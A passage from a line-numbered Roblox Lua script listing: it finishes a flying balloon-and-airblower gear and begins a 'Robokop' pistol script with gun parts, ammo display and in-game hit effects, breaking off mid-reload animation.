  3342. local llegm = Instance.new("Weld", modelforparts)
  3343. llegm.C0 = CFrame.new(-0.5, -1, 0)
  3344. llegm.C1 = CFrame.new(0, 1, 0)
  3345. llegm.Part0 = torso
  3346. llegm.Part1 = ll
  3347.  
  3348. --grey part
  3349. local part = Instance.new("Part", modelforparts)
  3350. part.Size = Vector3.new(2.2, .85, 2.2)
  3351. part.FormFactor = 'Custom'
  3352. part.BrickColor = ColorScheme3
  3353. part.Locked = true
  3354. part.TopSurface = 10
  3355. part.BottomSurface = 10
  3356. part.LeftSurface = 10
  3357. part.RightSurface = 10
  3358. part.FrontSurface = 10
  3359. part.BackSurface = 10
  3360. part:breakJoints()
  3361. part.Material = "SmoothPlastic"
  3362. part.CanCollide = false
  3363. Instance.new("CylinderMesh", part)
  3364. local weld = Instance.new("Weld", part)
  3365. weld.Part0 = part
  3366. weld.Part1 = torso
  3367. weld.C1 = CFrame.new(0, -2.1, 0)
  3368. weld.C0 = CFrame.Angles(math.pi/2, math.pi/2, 0) * CFrame.new(0, 0, .95)
  3369. --orange part
  3370. local part2 = part:clone()
  3371. part2.Parent = modelforparts
  3372. part2.Size = Vector3.new(2.5, 1.05, 2.5)
  3373. part2.BrickColor = ColorScheme1
  3374. local wld2 = Instance.new("Weld", part)
  3375. wld2.Part0 = part2
  3376. wld2.Part1 = part
  3377. wld2.C1 = CFrame.new()
  3378. wld2.C0 = CFrame.new()
  3379. --white part
  3380. local part3 = part:clone()
  3381. part3.Parent = modelforparts
  3382. part3.Size = Vector3.new(2.62, .5, 2.62)
  3383. part3.BrickColor = ColorScheme2
  3384. local wld3 = Instance.new("Weld", part)
  3385. wld3.Part0 = part3
  3386. wld3.Part1 = part
  3387. wld3.C1 = CFrame.new()
  3388. wld3.C0 = CFrame.new()
  3389. --airblower
  3390. local airblowercyl = part:clone()
  3391. airblowercyl.Parent = modelforparts
  3392. airblowercyl.Size = Vector3.new(.95, 3.5, .95)
  3393. airblowercyl.BrickColor = ColorScheme3
  3394. local smoke = Instance.new("Smoke", airblowercyl)
  3395. smoke.Color = Color3.new(.3, .3, .3)
  3396. smoke.RiseVelocity = 10
  3397. smoke.Opacity = .1
  3398. local cwld = Instance.new("Weld", airblowercyl)
  3399. cwld.Part0 = airblowercyl
  3400. cwld.Part1 = part
  3401. cwld.C1 = CFrame.Angles(0, 0, -math.pi/2)
  3402. cwld.C0 = CFrame.new(0, -1.85-0.925, -.6) * CFrame.Angles(math.pi/14, 0, 0)
  3403.  
  3404. --handles
  3405. local hndl = part:clone()
  3406. hndl.Parent = modelforparts
  3407. hndl.Size = Vector3.new(.2, .4, .2)
  3408. hndl.BrickColor = BrickColor.new(26)
  3409. hndl.Mesh:Destroy()
  3410. local hwld = Instance.new("Weld", hndl)
  3411. hwld.Part1 = part
  3412. hwld.Part0 = hndl
  3413. hwld.C1 = CFrame.new(.1, 0, 0) * CFrame.Angles(math.pi/2, 0, 0)
  3414. hwld.C0 = CFrame.new(0, -.82 - .4, 0)
  3415. Instance.new("BlockMesh", hndl).Scale = Vector3.new(.5, 1, .5)
  3416. local hndl2 = hndl:clone()
  3417. hndl2.Parent = modelforparts
  3418. hndl2.Size = Vector3.new(.8, .2, .2)
  3419. local hwld2 = Instance.new("Weld", hndl2)
  3420. hwld2.Part0 = hndl2
  3421. hwld2.Part1 = part
  3422. hwld2.C1 = CFrame.new(-.25, 0, 0) * CFrame.Angles(math.pi/2, 0, 0)
  3423. hwld2.C0 = CFrame.new(0, -1 - .4, 0)
  3424. hndl2.Mesh.Scale = Vector3.new(1, .5, .5)
  3425. local hndl3 = hndl:clone()
  3426. hndl3.Parent = modelforparts
  3427. hndl3.Size = Vector3.new(.2, .4, .2)
  3428. local hwld3 = Instance.new("Weld", hndl3)
  3429. hwld3.Part0 = hndl3
  3430. hwld3.Part1 = part
  3431. hwld3.C1 = CFrame.new(-.6, 0, 0) * CFrame.Angles(math.pi/2, 0, 0)
  3432. hwld3.C0 = CFrame.new(0, -.82 - .4, 0)
  3433. --balloon ropes
  3434. local blnrope = part:clone()
  3435. blnrope.Parent = modelforparts
  3436. blnrope.Size = Vector3.new(.2, 3.8, .2)
  3437. blnrope.BrickColor = BrickColor.new(1)
  3438. blnrope.Mesh:Destroy()
  3439. local blnwld = Instance.new("Weld", blnrope)
  3440. blnwld.Part0 = blnrope
  3441. blnwld.Part1 = airblowercyl
  3442. blnwld.C1 = CFrame.new(0, 0, 0) * CFrame.Angles(math.pi/2, math.pi/7, -math.pi/8)
  3443. blnwld.C0 = CFrame.new(0, -2, 0)
  3444. Instance.new("BlockMesh", blnrope).Scale = Vector3.new(.2, 1, .2)
  3445. local blnrope2 = blnrope:clone()
  3446. blnrope2.Parent = modelforparts
  3447. blnrope2.Size = Vector3.new(.2, 4, .2)
  3448. local blnwld2 = Instance.new("Weld", blnrope2)
  3449. blnwld2.Part0 = blnrope2
  3450. blnwld2.Part1 = airblowercyl
  3451. blnwld2.C1 = CFrame.new(0, 0, 0) * CFrame.Angles(math.pi/2, math.pi/4, -math.pi/74)
  3452. blnwld2.C0 = CFrame.new(0, -2.2, 0)
  3453. local blnrope3 = blnrope:clone()
  3454. blnrope3.Parent = modelforparts
  3455. local blnwld3 = Instance.new("Weld", blnrope3)
  3456. blnwld3.Part0 = blnrope3
  3457. blnwld3.Part1 = airblowercyl
  3458. blnwld3.C0 = CFrame.new(0, -2, 0)
  3459.  
  3460.  
  3461. --Stored balloon rope welds
  3462. blnwldC1 = blnwld.C1
  3463. blnwld2C1 = blnwld2.C1
  3464. blnwld3C1 = blnwld3.C1
  3465. --balloons
  3466. local bln = part:clone()
  3467. bln.Parent = modelforparts
  3468. bln.Size = Vector3.new(1.65, 1.8, 1.65)
  3469. bln.BrickColor = BrickColor.new(119)
  3470. bln.Mesh:Destroy()
  3471. bln.Transparency = .1
  3472. local balnwld = Instance.new("Weld", bln)
  3473. balnwld.Part0 = bln
  3474. balnwld.Part1 = blnrope
  3475. balnwld.C1 = CFrame.new(0, 0, 0)
  3476. balnwld.C0 = CFrame.new(0, -2.6, 0)
  3477. Instance.new("SpecialMesh", bln).MeshType = "Sphere"
  3478. local bln2 = bln:clone()
  3479. bln2.Parent = modelforparts
  3480. bln2.BrickColor = BrickColor.new(23)
  3481. local balnwld2 = Instance.new("Weld", bln2)
  3482. balnwld2.Part0 = bln2
  3483. balnwld2.Part1 = blnrope2
  3484. balnwld2.C1 = CFrame.new(0, 0, 0)
  3485. balnwld2.C0 = CFrame.new(0, -2.8, 0)
  3486. local bln3 = bln:clone()
  3487. bln3.Parent = modelforparts
  3488. bln3.BrickColor = BrickColor.new(21)
  3489. local balnwld3 = Instance.new("Weld", bln3)
  3490. balnwld3.Part0 = bln3
  3491. balnwld3.Part1 = blnrope3
  3492. balnwld3.C0 = CFrame.new(0, -2.6, 0)
  3493.  
  3494. --Controls
  3495. bg.Parent = rootpart
  3496. bv.Parent = rootpart
  3497. forwards = false
  3498. backwards = false
  3499. mouse.KeyDown:connect(function(k)
  3500.     if k == "w" then
  3501.     forwards = true
  3502.     coroutine.wrap(function()
  3503.         while forwards do wait()
  3504.         if SPEED >= MAXSPEED then SPEED = MAXSPEED forwards = false break end
  3505.         sound.Volume = sound.Volume + .05
  3506.         if sound.Volume >= .5 then sound.Volume = .5 end
  3507.         SPEED = SPEED + 5
  3508.         end
  3509.     end)()
  3510.     end
  3511. end)
  3512. mouse.KeyUp:connect(function(k)
  3513.     if k == "w" then
  3514.         forwards = false
  3515.         coroutine.wrap(function()
  3516.         while SPEED >= 0 do wait()
  3517.         sound.Volume = sound.Volume - .05
  3518.         if sound.Volume <= 0.25 then sound.Volume = 0.25 end
  3519.        SPEED = SPEED - 5
  3520.        if forward then break end
  3521.        if SPEED <= 0 then SPEED = 0 break end
  3522.        end
  3523.        end)()
  3524.    end
  3525. end)
  3526. --BALLONS MOOOOVEEE :DDD
  3527. game:service'RunService'.RenderStepped:connect(function()
  3528.        if not equipped then return end
  3529.    blnwldC1 = CFrame.new(0, 0, 0) * CFrame.Angles(math.pi/2 - math.rad(SPEED/1.7) + math.sin(ANGLE)*.025, math.pi/7 + math.sin(ANGLE)*.105, -math.pi/8 - math.sin(ANGLE)*.018)
  3530.    blnwld2C1 = CFrame.new(0, 0, 0) * CFrame.Angles(math.pi/2 - math.rad(SPEED/1.7) + math.sin(ANGLE)*.015, math.pi/4 - math.sin(ANGLE)*.065, -math.pi/74 + math.sin(ANGLE)*.021)
  3531.    blnwld3C1 = CFrame.new(0, 0, 0) * CFrame.Angles(math.pi/2 - math.rad(SPEED/1.7) - math.sin(ANGLE)*.02, math.pi/16 - math.sin(ANGLE)*.125, math.pi/9 - math.sin(ANGLE)*.078)
  3532. blnwld.C1 = clerp(blnwld.C1, blnwldC1, 0.05)
  3533. blnwld2.C1 = clerp(blnwld2.C1, blnwld2C1, 0.05)
  3534. blnwld3.C1 = clerp(blnwld3.C1, blnwld3C1, 0.05)
  3535. end)
  3536.  
  3537. --positioning welds
  3538. lm.C0 = CFrame.new(-1.25, .05, -.5) * CFrame.Angles(math.rad(35), 0, math.rad(45))
  3539. rm.C0 = CFrame.new(1.25, .05, -.5) * CFrame.Angles(math.rad(35), 0, -math.rad(45))
  3540. llegm.C0 = CFrame.new(-0.5, -1, 0) * CFrame.Angles(0, 0, -math.rad(15))
  3541. rlegm.C0 = CFrame.new(0.5, -1, 0) * CFrame.Angles(0, 0, math.rad(15))
  3542.  
  3543.  
  3544.  
  3545. game:service'RunService'.RenderStepped:connect(function()
  3546.    for i,v in pairs(torso:children()) do if v and v:IsA'BodyGyro' then v:Destroy() end end
  3547.    ANGLE = (ANGLE % 360) + math.random(1, 10)/100
  3548. humanoid.PlatformStand = true
  3549. local rotpos = Vector3.new(camera.CoordinateFrame.x, camera.CoordinateFrame.y, camera.CoordinateFrame.z)
  3550. bg.cframe = CFrame.new(torso.Position,rotpos) * CFrame.Angles(0, math.pi, 0)
  3551. bv.velocity = (torso.CFrame * CFrame.Angles(math.pi/14, 0, 0)).lookVector * SPEED
  3552. end)
  3553. ]==]
  3554.  
  3555. Pistol = [==[
  3556. local player=game.Players.LocalPlayer
  3557. local char=player.Character
  3558. repeat wait() until player and char
  3559. local torso=char.Torso
  3560. local head=char.Head
  3561. local human=char.Humanoid
  3562. local arm={Left=char["Left Arm"], Right=char["Right Arm"]}
  3563. local leg={Left=char["Left Leg"], Right=char["Right Leg"]}
  3564. local joints={LeftShoulder=torso["Left Shoulder"], RightShoulder=torso["Right Shoulder"], LeftHip=torso["Left Hip"], RightHip=torso["Right Hip"]}
  3565. joints.LeftShoulder.Part0=torso
  3566. joints.RightShoulder.Part0=torso
  3567. joints.LeftHip.Part0=torso
  3568. joints.RightHip.Part0=torso
  3569. local c=function(f) Spawn(f) end
  3570. local p=function(f) pcall(f) end
  3571. local add={
  3572.     Part=function(par, a, c, col, t, s, cf, ms)
  3573.         local p=Instance.new("Part", par) pcall(function() p.TopSurface="Smooth" p.BottomSurface="Smooth" p.formFactor="Custom" p.Anchored=a p.CanCollide=c p.BrickColor=BrickColor.new(col) p.Transparency=t p.Size=s p.CFrame=cf or CFrame.new()  end)
  3574.         local m=Instance.new("BlockMesh", p) pcall(function() m.Scale=ms or Vector3.new(1, 1, 1) end)
  3575.         return p
  3576.     end,
  3577.     Wedge=function(par, a, c, col, t, s, cf, ms)
  3578.         local p=Instance.new("WedgePart", par) pcall(function() p.TopSurface="Smooth" p.BottomSurface="Smooth" p.formFactor="Custom" p.Anchored=a p.CanCollide=c p.BrickColor=BrickColor.new(col) p.Transparency=t p.Size=s p.CFrame=cf or CFrame.new()  end)
  3579.         local m=Instance.new("SpecialMesh", p) pcall(function() m.Scale=ms or Vector3.new(1, 1, 1) m.MeshType="Wedge" end)
  3580.         return p
  3581.     end,
  3582.     Gui=function(ins, par, bc, bg, tc, fs, text, t, s, pos)
  3583.         local g=Instance.new(ins, par) pcall(function() g.BorderColor=BrickColor.new(bc) g.BackgroundColor=BrickColor.new(bg) g.TextColor=BrickColor.new(tc) g.FontSize=fs g.Font="ArialBold" g.Text=text g.Transparency=t g.Size=s g.Position=pos  end)
  3584.         return g
  3585.     end,
  3586.     Weld=function(par, p1, cf)
  3587.         local w=Instance.new("Weld", par) pcall(function() w.Part0=w.Parent or par w.Part1=p1 w.C1=cf or CFrame.new() end)
  3588.         return w
  3589.     end,
  3590.     Mesh=function(ins, par, s, of, t, id)
  3591.         local m=Instance.new(ins, par) pcall(function() m.Scale=s or Vector3.new() m.Offset=of or Vector3.new() m.MeshId=id or "" m.MeshType=t end)
  3592.         return m
  3593.     end,
  3594.     Sound=function(parent, id, volume, pitch)
  3595.         local s=Instance.new("Sound", parent) pcall(function() s.SoundId=id s.Volume=volume s.Pitch=pitch end)
  3596.         return s
  3597.     end,
  3598. }
  3599. local scriptname="Robokop" --Name here
  3600. pcall(function() char[scriptname]:remove() char["Objects"]:remove() end)
  3601. local model=Instance.new("Model", char) model.Name="Objects"
  3602. local modelB=Instance.new("Model", char) modelB.Name=scriptname
  3603. local skincolor="Really black"
  3604. local color="Dark stone grey"
  3605. local color2="Black"
  3606. local gui
  3607. local body={}
  3608. local animate={}
  3609. local obj={}
  3610. --Variables--
  3611. local trailDeb=false
  3612. local keyDeb=false
  3613. local equip=false
  3614. local hitDeb=false
  3615. local loop=false
  3616. local speed=20
  3617. local clip=6
  3618. local ammo=200
  3619. local Gun=add.Sound(torso, "http://www.roblox.com/asset/?id=2691586", .5, 1)
  3620. local Reload=add.Sound(torso, "http://www.roblox.com/asset/?id=2760984", .5, 1)
  3621. local HeadShot=add.Sound(torso, "http://www.roblox.com/asset/?id=1876552", 1, 1)
  3622. local mouse=player:GetMouse()
  3623.     body.Torso=add.Part(modelB, false, false, skincolor, 1, Vector3.new(2, 2, 1), nil)
  3624.     body.TorsoW=add.Weld(body.Torso, torso, nil)
  3625.     --==Pocket==--
  3626.     obj.Pocket=add.Part(modelB, false, false, color, 0, Vector3.new(.5, .5, 1))
  3627.     obj.PocketW=add.Weld(obj.Pocket, body.Torso, CFrame.new(1.2, -1.7, 0))
  3628.     obj.Wedge=add.Wedge(modelB, false, false, color, 0, Vector3.new(.5, .5, 1))
  3629.     obj.WedgeW=add.Weld(obj.Wedge, obj.Pocket, CFrame.new(0, .5, 0)*CFrame.Angles(0, math.pi, 0))
  3630.     --==GUN==--
  3631.     obj.Handle=add.Part(modelB, false,false, color, 0, Vector3.new(.2, .5, .2))
  3632.     obj.HandleW=add.Weld(obj.Handle, obj.Pocket, CFrame.new(0, .75, 0)*CFrame.Angles(-math.rad(105), 0, 0))
  3633.     obj.Base=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, 1), nil, Vector3.new(1, .5, 1))
  3634.     obj.BaseW=add.Weld(obj.Base, obj.Handle, CFrame.new(0, .2, -.1)*CFrame.Angles(math.rad(15), 0, 0))
  3635.     obj.B2=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, 1), nil, Vector3.new(.8, .35, 1))
  3636.     obj.B2W=add.Weld(obj.B2, obj.Base, CFrame.new(0, .015, -.2))
  3637.     obj.W2=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .2))
  3638.     obj.W2W=add.Weld(obj.W2, obj.Base, CFrame.new(0, -.15, .3)*CFrame.Angles(math.pi, 0, 0))
  3639.     obj.W3=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .2), nil, Vector3.new(1, .2, .95))
  3640.     obj.W3W=add.Weld(obj.W3, obj.Base, CFrame.new(0, -.05, .4)*CFrame.Angles(math.pi, math.pi, 0))
  3641.     obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .5, .2))
  3642.     obj.PM=add.Mesh("CylinderMesh", obj.P, Vector3.new(1, 1, 1))
  3643.     obj.PW=add.Weld(obj.P, obj.Handle, CFrame.new(0, 0, .1))
  3644.     obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .5, .2))
  3645.     obj.PM=add.Mesh("CylinderMesh", obj.P, Vector3.new(1, 1, 1))
  3646.     obj.PW=add.Weld(obj.P, obj.Handle, CFrame.new(0, 0, -.1))
  3647.     obj.B3=add.Part(modelB, false, false, color, 0, Vector3.new(.2, 1.2, .2))
  3648.     obj.B3M=add.Mesh("CylinderMesh", obj.B3, Vector3.new(.3, 1, .3))
  3649.     obj.B3W=add.Weld(obj.B3, obj.B2, CFrame.new(0, 0.02, 0)*CFrame.Angles(math.pi/2, 0, 0))
  3650.     obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, .2))
  3651.     obj.PM=add.Mesh("SpecialMesh", obj.P, Vector3.new(.3, .3, .3), nil, "Sphere")
  3652.     obj.PW=add.Weld(obj.P, obj.B3, CFrame.new(0, -.6, 0))
  3653.     obj.Barrel=add.Part(modelB, false, false, color, 0, Vector3.new(.2, 1.2, .2))
  3654.     obj.BarrelM=add.Mesh("CylinderMesh", obj.Barrel, Vector3.new(.5, 1, .5))
  3655.     obj.BarrelW=add.Weld(obj.Barrel, obj.B2, CFrame.new(0, 0.1, 0)*CFrame.Angles(math.pi/2, 0, 0))
  3656.     obj.Point=add.Part(modelB, false, false, color2, 0, Vector3.new(.2, .2, .2))
  3657.     obj.PointM=add.Mesh("CylinderMesh", obj.Point, Vector3.new(.5, .2, .5))
  3658.     obj.PointW=add.Weld(obj.Point, obj.Barrel, CFrame.new(0, -0.6, 0))
  3659.  
  3660.     obj.Reload=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, 1.3), nil, Vector3.new(1, .8, 1))
  3661.     obj.ReloadW=add.Weld(obj.Reload, obj.Base, CFrame.new(0, .1, -.15))
  3662.     obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, 1.3, .2))
  3663.     obj.PM=add.Mesh("CylinderMesh", obj.P, Vector3.new(.5, 1, .5))
  3664.     obj.PW=add.Weld(obj.P, obj.Reload, CFrame.new(0, -.07, 0)*CFrame.Angles(math.pi/2, 0, 0))
  3665.  
  3666.     obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, .4), nil, Vector3.new(.2, .2, .2))
  3667.     obj.PW=add.Weld(obj.P, obj.Reload, CFrame.new(0, .1, -.52))
  3668.     obj.W=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .4), nil, Vector3.new(.2, .2, .2))
  3669.     obj.WW=add.Weld(obj.W, obj.Reload, CFrame.new(0, .1, -.6))
  3670.     obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, .4), nil, Vector3.new(.2, .2, .2))
  3671.     obj.PW=add.Weld(obj.P, obj.Reload, CFrame.new(-.05, .1, .5))
  3672.     obj.W=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .4), nil, Vector3.new(.2, .2, .2))
  3673.     obj.WW=add.Weld(obj.W, obj.P, CFrame.new(0, 0, -.08))
  3674.     obj.W=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .4), nil, Vector3.new(.2, .2, .2))
  3675.     obj.WW=add.Weld(obj.W, obj.P, CFrame.new(0, 0, .08)*CFrame.Angles(0, math.pi, 0))
  3676.  
  3677.     obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, .4), nil, Vector3.new(.2, .2, .2))
  3678.     obj.PW=add.Weld(obj.P, obj.Reload, CFrame.new(.05, .1, .5))
  3679.     obj.W=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .4), nil, Vector3.new(.2, .2, .2))
  3680.     obj.WW=add.Weld(obj.W, obj.P, CFrame.new(0, 0, -.08))
  3681.     obj.W=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .4), nil, Vector3.new(.2, .2, .2))
  3682.     obj.WW=add.Weld(obj.W, obj.P, CFrame.new(0, 0, .08)*CFrame.Angles(0, math.pi, 0))
  3683.  
  3684.     obj.C=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .4, .2))
  3685.     obj.CM=add.Mesh("CylinderMesh", obj.C, Vector3.new(.4, 1, .4))
  3686.     obj.CW=add.Weld(obj.C, obj.Handle, CFrame.new(0, 0, -.2)*CFrame.Angles(math.rad(105), 0, 0))
  3687.     obj.C2=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, .2))
  3688.     obj.C2M=add.Mesh("CylinderMesh", obj.C2, Vector3.new(.4, 1, .4))
  3689.     obj.C2W=add.Weld(obj.C2, obj.C, CFrame.new(0, -.2, -.09)*CFrame.Angles(-math.rad(105), 0, 0))
  3690.  
  3691.     obj.Trigger=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, .2), nil, Vector3.new(.2, .5, .2))
  3692.     obj.TriggerW=add.Weld(obj.Trigger, obj.B2, CFrame.new(0, -.1, 0.1)*CFrame.Angles(math.rad(15), 0, 0))
  3693.     obj.Trigger2=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, .2), nil, Vector3.new(.2, .2, .4))
  3694.     obj.Trigger2W=add.Weld(obj.Trigger2, obj.Trigger, CFrame.new(0, -.05, -.02)*CFrame.Angles(-math.rad(15), 0, 0))
  3695.  
  3696.     obj.C=add.Part(modelB, false, false, color2, 0, Vector3.new(.2, .2, .2))
  3697.     obj.CM=add.Mesh("CylinderMesh", obj.C, Vector3.new(.4, 1.1, .4))
  3698.     obj.CW=add.Weld(obj.C, obj.Handle, CFrame.new(0, .1, -.1)*CFrame.Angles(0, 0, math.pi/2))
  3699.  
  3700.     obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, 1.2), nil, Vector3.new(.5, .5, 1))
  3701.     obj.PW=add.Weld(obj.P, obj.Reload, CFrame.new(-.06, 0, 0))
  3702.  
  3703.     obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, 1.2), nil, Vector3.new(.5, .5, 1))
  3704.     obj.PW=add.Weld(obj.P, obj.Reload, CFrame.new(.06, 0, 0))
  3705.  
  3706.     obj.W=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .2), nil, Vector3.new(.5, .35, .4))
  3707.     obj.WW=add.Weld(obj.W, obj.Reload, CFrame.new(0, .035, .68)*CFrame.Angles(0, math.pi, 0))
  3708.     obj.W=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .2), nil, Vector3.new(.5, .35, .4))
  3709.     obj.WW=add.Weld(obj.W, obj.Reload, CFrame.new(0, -.035, .68)*CFrame.Angles(math.pi, 0, 0))
  3710. function createParts()
  3711.     torso.Transparency=1
  3712.     body.Torso.Transparency=0
  3713.     gui=Instance.new("ScreenGui", player.PlayerGui) gui.Name=scriptname
  3714.     --==PARTS==--
  3715.     body.Head=add.Part(model, false, false, skincolor, 1, Vector3.new(1, 1, 1), nil)
  3716.     body.ArmLeft, body.ArmRight=add.Part(model, false, false, skincolor, 1, Vector3.new(1, 1, 1), nil), add.Part(model, false, false, skincolor, 1, Vector3.new(1, 1, 1), nil)
  3717.     body.LegLeft, body.LegRight=add.Part(model, false, false, skincolor, 1, Vector3.new(1, 1, 1), nil), add.Part(model, false, false, skincolor, 1, Vector3.new(1, 1, 1), nil)
  3718.     --==WELDS==--
  3719.     body.HeadW=add.Weld(body.Head, body.Torso, CFrame.new(0, 1.5, 0))
  3720.     body.ArmLeftW, body.ArmRightW=add.Weld(body.ArmLeft, body.Torso, CFrame.new(-1.5, .5, 0)), add.Weld(body.ArmRight, body.Torso, CFrame.new(1.5, .5, 0))
  3721.     body.LegLeftW, body.LegRightW=add.Weld(body.LegLeft, body.Torso, CFrame.new(-.5, -1.5, 0)), add.Weld(body.LegRight, body.Torso, CFrame.new(.5, -1.5, 0))
  3722.     --==WELDS==--
  3723.     --add.Weld(body.Head, head, nil)
  3724.     add.Weld(arm.Left, body.ArmLeft, CFrame.new(0, -.5, 0))
  3725.     add.Weld(arm.Right, body.ArmRight, CFrame.new(0, -.5, 0))
  3726.     joints.LeftHip.Part0=body.Torso
  3727.     joints.RightHip.Part0=body.Torso
  3728.     ---------------------------------------------------------------------------------------
  3729.     animate={
  3730.         ["Head"]=function(cf)
  3731.             body.HeadW.C1=CFrame.new(0, 1.5, 0)*cf
  3732.         end;
  3733.         ["Torso"]=function(cf)
  3734.             body.TorsoW.C1=cf
  3735.         end;
  3736.         ["ArmLeft"]=function(cf)
  3737.             body.ArmLeftW.C1=CFrame.new(-1.5, .5, 0)*cf
  3738.         end;
  3739.         ["ArmRight"]=function(cf)
  3740.             body.ArmRightW.C1=CFrame.new(1.5, .5, 0)*cf
  3741.         end;
  3742.         ["LegLeft"]=function(cf)
  3743.             legLeftW=add.Weld(leg.Left, body.LegLeft, CFrame.new(0, -.5, 0))
  3744.             body.LegLeftW.C1=CFrame.new(-.5, -1.5, 0)*cf
  3745.             c(function()
  3746.                 wait()
  3747.                 legLeftW:remove()
  3748.             end)
  3749.         end;
  3750.         ["LegRight"]=function(cf)
  3751.             legRightW=add.Weld(leg.Right, body.LegRight, CFrame.new(0, -.5, 0))
  3752.             body.LegRightW.C1=CFrame.new(.5, -1.5, 0)*cf
  3753.             c(function()
  3754.                 wait()
  3755.                 legRightW:remove()
  3756.             end)
  3757.         end;
  3758.     }
  3759.     --==Objects==--
  3760.     obj.Clip=add.Gui("TextLabel", gui, "Really black", "Really black", "White", "Size18", clip.."/6", 0, UDim2.new(0, 150, 0, 50), UDim2.new(0, 0, 0, 150))
  3761.     obj.Ammo=add.Gui("TextLabel", obj.Clip, "Really black", "Really black", "White", "Size18", ammo.."/200", 0, UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 1, 0))
  3762. end
  3763. function removeParts()
  3764.     p(function()
  3765.         body.Torso.Transparency=1
  3766.         if torso then
  3767.             joints.LeftShoulder.Part0=torso
  3768.             joints.RightShoulder.Part0=torso
  3769.             joints.LeftHip.Part0=torso
  3770.             joints.RightHip.Part0=torso
  3771.         end
  3772.         player.PlayerGui[scriptname]:remove()
  3773.         for i, v in pairs(model:children()) do v:remove() end
  3774.         for i, v in pairs(char:children()) do v.Transparency=0 end
  3775.         torso.Transparency=0
  3776.     end)
  3777. end
  3778. function hit(h)
  3779.     if h.Parent:findFirstChild("Humanoid") and hitDeb==false and h.Parent~=char then
  3780.         hitDeb=true
  3781.         local hHuman=h.Parent:findFirstChild("Humanoid")
  3782.         local hTorso=h.Parent:findFirstChild("Torso")
  3783.         local dmg=math.random(5, 15)
  3784.         if h.Name=="Head" then local headshot=HeadShot:clone() headshot.Parent=h headshot:play()
  3785.             h.Parent:BreakJoints()
  3786.             local fakeM=Instance.new("Model", workspace) fakeM.Name="HeadShot!"
  3787.             local fakeH=Instance.new("Humanoid", fakeM) fakeH.MaxHealth=0 fakeH.Health=0
  3788.             local effect=add.Part(fakeM, true, false, "Bright red", 0, Vector3.new(1, 1, 1), h.CFrame*CFrame.new(0, 4, 0)) effect.Name="Head"
  3789.             local fakeMesh=add.Mesh("CylinderMesh", effect, Vector3.new(1, .5, 1), nil, nil)
  3790.             game.Debris:addItem(fakeM, 2)
  3791.         else
  3792.             hHuman.Health=hHuman.Health-dmg
  3793.             local fakeM=Instance.new("Model", workspace) fakeM.Name=-dmg
  3794.             local fakeH=Instance.new("Humanoid", fakeM) fakeH.MaxHealth=0 fakeH.Health=0
  3795.             local effect=add.Part(fakeM, true, false, "Bright red", 0, Vector3.new(1, 1, 1), h.CFrame*CFrame.new(0, 4, 0)) effect.Name="Head"
  3796.             local fakeMesh=add.Mesh("CylinderMesh", effect, Vector3.new(1, .5, 1), nil, nil)
  3797.             hTorso.RotVelocity=Vector3.new(math.random(-100, 100), math.random(-100, 100), math.random(-100, 100))
  3798.             game.Debris:addItem(fakeM, 2)
  3799.             local effect=add.Part(workspace, true, false, "White", .5, Vector3.new(1, 1, 1), CFrame.new(h.CFrame.p, torso.CFrame.p)*CFrame.Angles(-math.pi/2, 0, 0))
  3800.             local effectM=add.Mesh("SpecialMesh", effect, Vector3.new(1, 1, 1), nil, nil, "http://www.roblox.com/asset/?id=20329976")
  3801.             c(function()
  3802.                 for i=1, 2, .2 do wait()
  3803.                     effectM.Scale=Vector3.new(i, i/2, i)
  3804.                 end
  3805.                 effect:remove()
  3806.             end)
  3807.         end
  3808.         wait(.1)
  3809.         hitDeb=false
  3810.     end
  3811. end
  3812. function computePos(pos, pos2)
  3813.     local pos3=Vector3.new(pos2.x, pos.y, pos2.z)
  3814.     return CFrame.new(pos, pos3)
  3815. end
  3816. function trail(pos, cf)
  3817.     c(function()
  3818.         local old=(pos.CFrame*cf).p
  3819.         while trailDeb==true do
  3820.             wait()
  3821.             local new=(pos.CFrame*cf).p
  3822.             local mag=(old-new).magnitude
  3823.             local dis=(old+new)/2
  3824.             local trail=add.Part(workspace, true, false, "White", 0, Vector3.new(.5, mag, .5), CFrame.new(dis, new)*CFrame.Angles(math.pi/2, 0, 0)) trail.Name="Trail"
  3825.             local tMesh=add.Mesh("CylinderMesh", trail, Vector3.new(.5, 1, .5), nil, nil)
  3826.             old=new
  3827.             c(function()
  3828.                 for i=1, 0, -.25 do
  3829.                     wait()
  3830.                     tMesh.Scale=tMesh.Scale*Vector3.new(i, 1, i)
  3831.                 end
  3832.                 trail:remove()
  3833.             end)
  3834.             c(function()
  3835.                 for i=0, 1, .25 do
  3836.                     wait()
  3837.                     trail.Transparency=i
  3838.                 end
  3839.             end)
  3840.         end
  3841.     end)
  3842. end
  3843. function reload()
  3844.     Reload:play()
  3845.     for i=0, 1, .1 do wait()
  3846.         animate.Torso(CFrame.Angles(0, math.rad(90-90*i), 0))
  3847.         animate.ArmLeft(CFrame.new(.5*i, 0, -.5*i)*CFrame.Angles(math.rad(90)*i, 0, math.rad(25)*i))
